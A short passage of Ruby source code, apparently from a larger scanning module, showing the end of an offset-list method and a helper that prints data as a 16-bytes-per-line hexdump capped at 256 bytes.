1031
quick_offsets.uniq.sort.select { |o| o >= min_off && o <= max_off }
1032
else
1033
# Normal scan with step size
1034
(min_off..max_off).step(step).to_a
1035
end
1036
end
1037
1038
def print_hexdump(data)
1039
return if data.nil? || data.empty?
1040
1041
# Print hexdump in classic format (16 bytes per line)
1042
offset = 0
1043
data.bytes.each_slice(16) do |chunk|
1044
hex_part = chunk.map { |b| '%02x' % b }.join(' ')
1045
ascii_part = chunk.map { |b| (b >= 32 && b < 127) ? b.chr : '.' }.join
1046
1047
# Pad hex part if less than 16 bytes
1048
hex_part = hex_part.ljust(47)
1049
1050
print_line(" #{('%04x' % offset)} #{hex_part} |#{ascii_part}|")
1051
offset += 16
1052
1053
# Limit output to avoid flooding console
1054
break if offset >= 256
1055
end
1056
print_line(' ...') if data.length > 256
1057
end
1058
end
1059
1060